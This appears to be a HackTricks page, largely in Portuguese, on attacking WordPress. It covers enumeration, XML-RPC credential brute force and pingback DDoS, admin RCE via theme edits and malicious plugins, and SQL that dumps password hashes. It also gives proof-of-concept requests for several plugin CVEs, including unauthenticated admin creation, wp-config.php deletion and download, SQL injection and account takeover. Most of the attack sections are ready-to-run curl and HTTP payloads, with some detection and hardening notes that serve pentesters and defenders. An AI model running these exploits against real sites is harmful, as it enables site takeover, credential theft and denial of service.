Wordpress

Reading time: 34 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

  • Uploaded files go to: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Themes files can be found in /wp-content/themes/, so if you change some php of the theme to get RCE you probably will use that path. For example: Using theme twentytwelve you can access the 404.php file in: /wp-content/themes/twentytwelve/404.php

  • Another useful url could be: /wp-content/themes/default/404.php

  • In wp-config.php you can find the root password of the database.

  • Default login paths to check: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Principais Arquivos do WordPress

  • index.php
  • license.txt contains useful information such as the version WordPress installed.
  • wp-activate.php is used for the email activation process when setting up a new WordPress site.
  • Login folders (may be renamed to hide it):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php é um arquivo que representa um recurso do WordPress que permite que dados sejam transmitidos com HTTP atuando como mecanismo de transporte e XML como mecanismo de codificação. Esse tipo de comunicação foi substituído pelo WordPress REST API.
  • The wp-content folder is the main directory where plugins and themes are stored.
  • wp-content/uploads/ é o diretório onde quaisquer arquivos enviados para a plataforma são armazenados.
  • wp-includes/ É o diretório onde arquivos core são armazenados, como certificados, fontes, arquivos JavaScript e widgets.
  • wp-sitemap.xml Em versões do WordPress 5.5 e superiores, o WordPress gera um arquivo sitemap XML com todas as postagens públicas e tipos de post e taxonomias publicamente consultáveis.

Pós-exploração

  • O arquivo wp-config.php contém informações necessárias para o WordPress conectar-se ao banco de dados, como o nome do banco de dados, host do banco de dados, nome de usuário e senha, authentication keys e salts, e o prefixo das tabelas do banco. Esse arquivo de configuração também pode ser usado para ativar o modo DEBUG, o que pode ser útil na resolução de problemas.

Permissões de Usuários

  • Administrator
  • Editor: Publica e gerencia seus próprios posts e os de outros
  • Author: Publica e gerencia seus próprios posts
  • Contributor: Escreve e gerencia seus posts, mas não pode publicá-los
  • Subscriber: Visualiza posts e edita seu perfil

Enumeração Passiva

Obter versão do WordPress

Verifique se você consegue encontrar os arquivos /license.txt ou /readme.html

Dentro do código-fonte da página (exemplo de https://wordpress.org/support/article/pages/):

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • Arquivos CSS vinculados

  • Arquivos JavaScript

Obter Plugins

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Obter Temas

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Extrair versões em geral

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Enumeração ativa

Plugins e Temas

Você provavelmente não conseguirá encontrar todos os Plugins e Temas possíveis. Para descobrir todos eles, você precisará realizar ativamente um Brute Force em uma lista de Plugins e Temas (esperançosamente existem ferramentas automatizadas que contêm essas listas).

Usuários

  • ID Brute: Você obtém usuários válidos de um site WordPress ao Brute Forcing IDs de usuários:
bash
curl -s -I -X GET http://blog.example.com/?author=1

Se as respostas forem 200 ou 30X, isso significa que o id é válido. Se a resposta for 400, então o id é inválido.

  • wp-json: Você também pode tentar obter informações sobre os usuários consultando:
bash
curl http://blog.example.com/wp-json/wp/v2/users

Outro endpoint /wp-json/ que pode revelar algumas informações sobre users é:

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Observe que este endpoint expõe apenas usuários que fizeram um post. Somente informações sobre os usuários que têm esse recurso ativado serão fornecidas.

Também observe que /wp-json/wp/v2/pages could leak IP addresses.

  • Login username enumeration: Ao tentar logar em /wp-login.php a mensagem é diferente, indicando se o username existe ou não.

XML-RPC

Se xml-rpc.php estiver ativo você pode realizar um brute-force de credenciais ou usá-lo para lançar ataques DoS a outros recursos. (You can automate this process using this for example).

Para verificar se está ativo tente acessar /xmlrpc.php e enviar esta requisição:

Verificar

html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories or metaWeblog.getUsersBlogs são alguns dos métodos que podem ser usados para brute-force credentials. Se você encontrar qualquer um deles, pode enviar algo como:

html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

A mensagem "Incorrect username or password" dentro de uma resposta com código 200 deve aparecer se as credenciais não forem válidas.

Usando as credenciais corretas você pode fazer upload de um arquivo. Na resposta o caminho aparecerá (https://gist.github.com/georgestephanis/5681982)

html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Além disso, existe uma maneira mais rápida de brute-force de credenciais usando system.multicall, pois você pode testar várias credenciais na mesma requisição:

Contornar 2FA

Este método é destinado a programas e não a humanos, e é antigo, portanto não suporta 2FA. Então, se você tiver creds válidas mas a entrada principal estiver protegida por 2FA, você pode ser capaz de abusar do xmlrpc.php para fazer login com essas creds contornando a 2FA. Note que você não poderá realizar todas as ações que consegue através do console, mas ainda assim pode conseguir RCE como o Ippsec explica em https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS ou port scanning

Se você conseguir encontrar o método pingback.ping dentro da lista, você pode fazer o Wordpress enviar uma requisição arbitrária para qualquer host/porta.
Isso pode ser usado para pedir que milhares de sites Wordpress acessem um único local (causando um DDoS naquele local) ou você pode usá-lo para fazer o Wordpress scan alguma rede interna (você pode indicar qualquer porta).

html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Se você obtiver faultCode com um valor maior que 0 (17), isso significa que a porta está aberta.

Veja o uso de system.multicall na seção anterior para aprender como abusar deste método para causar DDoS.

DDoS

html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Este arquivo geralmente existe na raiz do site Wordpress: /wp-cron.php
Quando este arquivo é acessado, uma "pesada" MySQL consulta é executada, então ele pode ser usado por atacantes para causar um DoS.
Além disso, por padrão, o wp-cron.php é chamado a cada carregamento de página (sempre que um cliente solicita qualquer página do Wordpress), o que em sites de alto tráfego pode causar problemas (DoS).

Recomenda-se desabilitar o Wp-Cron e criar um cronjob real no host que execute as ações necessárias em intervalos regulares (sem causar problemas).

/wp-json/oembed/1.0/proxy - SSRF

Tente acessar https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net e o Worpress site pode fazer uma requisição para você.

This is the response when it doesn't work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

Esta ferramenta verifica se o methodName: pingback.ping existe e se o path /wp-json/oembed/1.0/proxy também existe; se existirem, tenta explorá-los.

Ferramentas Automáticas

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Obter acesso sobrescrevendo um bit

Mais do que um ataque real, isto é uma curiosidade. No CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man você podia inverter 1 bit de qualquer arquivo do wordpress. Então você podia inverter a posição 5389 do arquivo /var/www/html/wp-includes/user.php para NOP a operação NOT (!).

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Painel RCE

Modificando um arquivo php do tema usado (credenciais admin necessárias)

Aparência → Editor de Tema → Modelo 404 (à direita)

Altere o conteúdo para um php shell:

Pesquise na internet como acessar essa página atualizada. Neste caso, você precisa acessar: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Você pode usar:

bash
use exploit/unix/webapp/wp_admin_shell_upload

para obter uma sessão.

Plugin RCE

PHP plugin

It may be possible to upload .php files as a plugin.
Crie seu php backdoor usando por exemplo:

Then add a new plugin:

Upload plugin and press Install Now:

Click on Procced:

Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:

Access it and you will see the URL to execute the reverse shell:

Upload e ativação de plugin malicioso

This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:

  1. Aquisição do Plugin: O plugin é obtido de uma fonte como Exploit DB like here.
  2. Instalação do Plugin:
  • Navegue até o WordPress dashboard, então vá para Dashboard > Plugins > Upload Plugin.
  • Faça upload do arquivo zip do plugin baixado.
  1. Ativação do Plugin: Uma vez que o plugin seja instalado com sucesso, ele precisa ser ativado através do dashboard.
  2. Exploração:
  • Com o plugin "reflex-gallery" instalado e ativado, ele pode ser explorado pois é conhecido por ser vulnerável.
  • O framework Metasploit fornece um exploit para essa vulnerabilidade. Ao carregar o módulo apropriado e executar comandos específicos, uma sessão meterpreter pode ser estabelecida, concedendo acesso não autorizado ao site.
  • Observa-se que este é apenas um dos muitos métodos para explorar um site WordPress.

O conteúdo inclui recursos visuais que descrevem os passos no WordPress dashboard para instalar e ativar o plugin. No entanto, é importante notar que explorar vulnerabilidades dessa forma é ilegal e antiético sem autorização adequada. Essas informações devem ser usadas de forma responsável e apenas em um contexto legal, como pentesting com permissão explícita.

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike é um script projetado para escalar uma vulnerabilidade de Cross-Site Scripting (XSS) para Remote Code Execution (RCE) ou outras vulnerabilidades críticas no WordPress. Para mais informações ver this post. Ele fornece suporte para as versões 6.X.X, 5.X.X e 4.X.X do WordPress e permite:
  • Privilege Escalation: Cria um usuário no WordPress.
  • (RCE) Custom Plugin (backdoor) Upload: Faz upload do seu custom plugin (backdoor) para o WordPress.
  • (RCE) Built-In Plugin Edit: Edita um Built-In Plugin no WordPress.
  • (RCE) Built-In Theme Edit: Edita um Built-In Theme no WordPress.
  • (Custom) Custom Exploits: Custom Exploits para Plugins/Themes de terceiros do WordPress.

Post Exploitation

Extrair nomes de usuário e senhas:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Alterar senha do admin:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Pentest de Plugins do Wordpress

Superfície de Ataque

Saber como um plugin do Wordpress pode expor funcionalidades é essencial para encontrar vulnerabilidades nessas funcionalidades. Você pode encontrar como um plugin pode expor funcionalidade nos pontos abaixo e alguns exemplos de plugins vulneráveis em this blog post.

  • wp_ajax

Uma das formas pelas quais um plugin pode expor funções para uso é via handlers AJAX. Esses handlers podem conter bugs de lógica, authorization ou authentication. Além disso, é bastante frequente que essas funções baseiem tanto a authentication quanto a authorization na existência de um Wordpress nonce que qualquer usuário autenticado na instância Wordpress pode possuir (independentemente do seu papel).

Estas são as funções que podem ser usadas para expor uma função em um plugin:

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

O uso de nopriv torna o endpoint acessível por qualquer usuário (até mesmo não autenticados).

caution

Além disso, se a função estiver apenas verificando a autorização do usuário com a função wp_verify_nonce, essa função apenas verifica se o usuário está logado, normalmente não verifica o papel do usuário. Portanto, usuários com baixa privilégio podem ter acesso a ações de alto privilégio.

  • REST API

Também é possível expor funções do wordpress registrando uma REST API usando a função register_rest_route:

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

The permission_callback é um callback para uma função que verifica se um determinado usuário está autorizado a chamar o método da API.

Se a função integrada __return_true for usada, ela simplesmente ignorará a verificação de permissões do usuário.

  • Acesso direto ao arquivo php

Claro, Wordpress usa PHP e arquivos dentro de plugins são diretamente acessíveis pela web. Então, caso um plugin exponha qualquer funcionalidade vulnerável que seja acionada apenas acessando o arquivo, ela poderá ser explorada por qualquer usuário.

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

Alguns plugins implementam atalhos de “trusted header” para integrações internas ou reverse proxies e então usam esse header para definir o contexto do usuário atual para requisições REST. Se o header não estiver ligado criptograficamente à requisição por um componente upstream, um atacante pode falsificá-lo e acessar rotas REST privilegiadas como administrador.

  • Impacto: escalada de privilégios não autenticada para admin ao criar um novo administrador via a rota REST core users.
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (força o ID do usuário 1, tipicamente a primeira conta de administrador).
  • Exploited route: POST /wp-json/wp/v2/users com um array de roles elevado.

PoC

http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Por que funciona

  • O plugin mapeia um header controlado pelo cliente para o estado de autenticação e pula as verificações de capability.
  • O core do WordPress espera a capability create_users para esta rota; o exploit do plugin a contorna definindo diretamente o contexto do usuário atual a partir do header.

Indicadores esperados de sucesso

  • HTTP 201 com um corpo JSON descrevendo o usuário criado.
  • Um novo usuário admin visível em wp-admin/users.php.

Lista de verificação de detecção

  • Busque por getallheaders(), $_SERVER['HTTP_...'], ou vendor SDKs que leem headers customizados para definir o contexto do usuário (por exemplo, wp_set_current_user(), wp_set_auth_cookie()).
  • Revise os registros de REST para callbacks privilegiados que não têm checagens robustas de permission_callback e, em vez disso, dependem de headers da requisição.
  • Procure usos das funções core de gerenciamento de usuários (wp_insert_user, wp_create_user) dentro de handlers REST que são protegidos apenas por valores em headers.

Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)

Temas e plugins do WordPress frequentemente expõem handlers AJAX através dos hooks wp_ajax_ e wp_ajax_nopriv_. Quando a variante nopriv é usada o callback torna-se alcançável por visitantes não autenticados, então qualquer ação sensível deve, adicionalmente, implementar:

  1. Uma verificação de capability (ex.: current_user_can() ou ao menos is_user_logged_in()), e
  2. Um CSRF nonce validado com check_ajax_referer() / wp_verify_nonce(), e
  3. Sanitização / validação estrita dos inputs.

O tema multipurpose Litho (< 3.1) esqueceu desses 3 controles na funcionalidade Remove Font Family e acabou distribuindo o seguinte código (simplificado):

php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Problems introduzidos por este trecho:

  • Acesso não autenticado – o hook wp_ajax_nopriv_ está registrado.
  • Sem verificação de nonce / capability – qualquer visitante pode acessar o endpoint.
  • Sem sanitização do caminho – a string controlada pelo usuário fontfamily é concatenada a um caminho do filesystem sem filtragem, permitindo o clássico ../../ traversal.

Exploração

Um atacante pode excluir qualquer arquivo ou diretório abaixo do diretório base de uploads (normalmente <wp-root>/wp-content/uploads/) enviando uma única requisição HTTP POST:

bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).

Outros alvos impactantes incluem arquivos .php de plugins/temas (para quebrar plugins de segurança) ou regras .htaccess.

Checklist de detecção

  • Qualquer callback add_action( 'wp_ajax_nopriv_...') que chame funções de sistema de arquivos (copy(), unlink(), $wp_filesystem->delete(), etc.).
  • Concatenação de entrada do usuário não sanitizada em caminhos (procure por $_POST, $_GET, $_REQUEST).
  • Ausência de check_ajax_referer() e current_user_can()/is_user_logged_in().

Escalada de privilégio via restauração de funções obsoletas e autorização ausente (ASE "View Admin as Role")

Muitos plugins implementam um recurso de "view as role" ou troca temporária de função salvando a(s) função(ões) originais em user meta para que possam ser restauradas depois. Se o caminho de restauração depender apenas de parâmetros da requisição (por exemplo, $_REQUEST['reset-for']) e de uma lista mantida pelo plugin sem verificar capabilities e um nonce válido, isso se torna uma escalada vertical de privilégios.

Um exemplo do mundo real foi encontrado no Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). O ramo de reset restaurava funções com base em reset-for=<username> se o nome de usuário aparecesse em um array interno $options['viewing_admin_as_role_are'], mas não executava nem uma verificação current_user_can() nem uma verificação de nonce antes de remover as funções atuais e re-adicionar as funções salvas no user meta _asenha_view_admin_as_original_roles:

php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Por que é explorável

  • Confia em $_REQUEST['reset-for'] e em uma opção do plugin sem autorização no lado do servidor.
  • Se um usuário anteriormente tinha privilégios mais altos salvos em _asenha_view_admin_as_original_roles e foi rebaixado, ele pode restaurá-los acessando o caminho de reset.
  • Em algumas implantações, qualquer usuário autenticado poderia acionar um reset para outro nome de usuário ainda presente em viewing_admin_as_role_are (autorização quebrada).

Exploração (exemplo)

bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

Em builds vulneráveis isso remove as funções atuais e readiciona as funções originais salvas (por exemplo, administrator), escalando privilégios efetivamente.

Checklist de detecção

  • Procure por funcionalidades de troca de função que persistem as “funções originais” em meta do usuário (por exemplo, _asenha_view_admin_as_original_roles).
  • Identifique caminhos de reset/restore que:
  • Leem nomes de usuário de $_REQUEST / $_GET / $_POST.
  • Modificam funções via add_role() / remove_role() sem current_user_can() e wp_verify_nonce() / check_admin_referer().
  • Autorizam com base em um array de opção do plugin (por exemplo, viewing_admin_as_role_are) em vez das capacidades do ator.

Alguns plugins conectam helpers de troca de usuário ao hook público init e derivam a identidade a partir de um cookie controlado pelo cliente. Se o código chama wp_set_auth_cookie() sem verificar autenticação, capability e um nonce válido, qualquer visitante não autenticado pode forçar o login como um ID de usuário arbitrário.

Padrão vulnerável típico (simplificado do Service Finder Bookings ≤ 6.1):

php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

Por que é explorável

  • O hook público init torna o handler acessível a usuários não autenticados (sem proteção is_user_logged_in()).
  • A identidade é derivada de um cookie modificável pelo cliente (original_user_id).
  • A chamada direta a wp_set_auth_cookie($uid) autentica o solicitante como esse usuário sem verificações de capability/nonce.

Exploração (não autenticada)

http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

Considerações de WAF para WordPress/plugin CVEs

WAFs genéricos de edge/servidor são ajustados para padrões amplos (SQLi, XSS, LFI). Muitas falhas de alto impacto em WordPress/plugin são bugs de lógica/autenticação específicos da aplicação que parecem tráfego benigno a menos que o motor entenda rotas do WordPress e a semântica do plugin.

Notas ofensivas

  • Direcione endpoints específicos do plugin com payloads limpos: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • Teste primeiro caminhos não autenticados (AJAX nopriv, REST com permissive permission_callback, shortcodes públicos). Payloads padrão frequentemente têm sucesso sem obfuscação.
  • Casos típicos de alto impacto: elevação de privilégios (controle de acesso quebrado), upload/download arbitrário de arquivos, LFI, open redirect.

Notas defensivas

  • Não confie em assinaturas genéricas de WAF para proteger CVEs de plugins. Implemente correções virtuais específicas da vulnerabilidade na camada de aplicação ou atualize rapidamente.
  • Prefira checagens de segurança de lista positiva no código (capabilities, nonces, validação estrita de entrada) em vez de filtros regex negativos.

Proteção do WordPress

Atualizações regulares

Certifique-se de que WordPress, plugins e temas estejam atualizados. Também confirme que a atualização automática está habilitada em wp-config.php:

bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Além disso, instale apenas plugins e temas confiáveis do WordPress.

Plugins de Segurança

Outras Recomendações

  • Remova o usuário padrão admin
  • Use senhas fortes e 2FA
  • Revise periodicamente as permissões dos usuários
  • Limite tentativas de login para prevenir ataques de Brute Force
  • Renomeie o arquivo wp-admin.php e permita acesso apenas internamente ou a partir de certos endereços IP.

SQL Injection não autenticado via validação insuficiente (WP Job Portal <= 2.3.2)

O plugin de recrutamento WP Job Portal expôs uma tarefa savecategory que, em última instância, executa o seguinte código vulnerável dentro de modules/category/model.php::validateFormData():

php
$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Problemas introduzidos por este trecho:

  1. Entrada de usuário não sanitizadaparentid vem diretamente da requisição HTTP.
  2. Concatenação de strings dentro da cláusula WHERE – sem is_numeric() / esc_sql() / prepared statement.
  3. Acessibilidade não autenticada – embora a ação seja executada através de admin-post.php, a única verificação é um CSRF nonce (wp_verify_nonce()), que qualquer visitante pode obter de uma página pública que incorpora o shortcode [wpjobportal_my_resumes].

Exploração

  1. Obtenha um nonce novo:
bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. Injete SQL arbitrário abusando de parentid:
bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

A resposta divulga o resultado da query injetada ou altera o banco de dados, provando SQLi.

Download Arbitrário de Arquivos Não Autenticado / Path Traversal (WP Job Portal <= 2.3.2)

Outra tarefa, downloadcustomfile, permitia que visitantes baixassem qualquer arquivo no disco via path traversal. O sink vulnerável está localizado em modules/customfield/model.php::downloadCustomUploadedFile():

php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name é controlado pelo atacante e concatenado sem sanitização. Novamente, a única barreira é um CSRF nonce que pode ser obtido na página de currículo.

Exploitation

bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

O servidor responde com o conteúdo de wp-config.php, leaking DB credentials and auth keys.

Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)

Muitos themes/plugins incluem helpers de "social login" expostos via admin-ajax.php. Se uma action AJAX não autenticada (wp_ajax_nopriv_...) confiar em identificadores fornecidos pelo cliente quando os dados do provedor estiverem ausentes e então chamar wp_set_auth_cookie(), isso se torna um full authentication bypass.

Typical flawed pattern (simplified)

php
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

Por que é explorável

  • Acessível sem autenticação via admin-ajax.php (ação wp_ajax_nopriv_…).
  • Sem verificações de nonce/capability antes de mudanças de estado.
  • Falta verificação do provider OAuth/OpenID; o ramo padrão aceita entrada do atacante.
  • get_user_by('email', $_POST['id']) seguido por wp_set_auth_cookie($uid) autentica o requisitante como qualquer endereço de e-mail existente.

Exploitation (unauthenticated)

  • Pré-requisitos: o atacante consegue acessar /wp-admin/admin-ajax.php e sabe/adivinha um endereço de e-mail de usuário válido.
  • Defina provider para um valor não suportado (ou omita-o) para atingir o ramo padrão e enviar id=<victim_email>.
http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
bash
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Expected success indicators

  • HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
  • Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.

Finding the action name

  • Inspecione o tema/plugin em busca de registros add_action('wp_ajax_nopriv_...', '...') no código de social login (e.g., framework/add-ons/social-login/class-social-login.php).
  • Grep por wp_set_auth_cookie(), get_user_by('email', ...) dentro de handlers AJAX.

Detection checklist

  • Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=.
  • 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.

Hardening

  • Não derive identidade a partir de input do cliente. Aceite apenas emails/IDs originados de um token/ID do provider validado.
  • Exija nonces CSRF e capability checks mesmo para login helpers; evite registrar wp_ajax_nopriv_ a menos que estritamente necessário.
  • Valide e verifique respostas OAuth/OIDC server-side; rejeite providers ausentes/inválidos (sem fallback para POST id).
  • Considere desabilitar temporariamente o social login ou aplicar um patch virtual na borda (bloquear a action vulnerável) até corrigir.

Patched behaviour (Jobmonster 4.8.0)

  • Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).

Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)

Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).

  • Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
  • Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
  • Impact: full takeover by chaining the minted key to internal privileged actions

PoC – mint a connection key and use it

bash
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

Por que é explorável

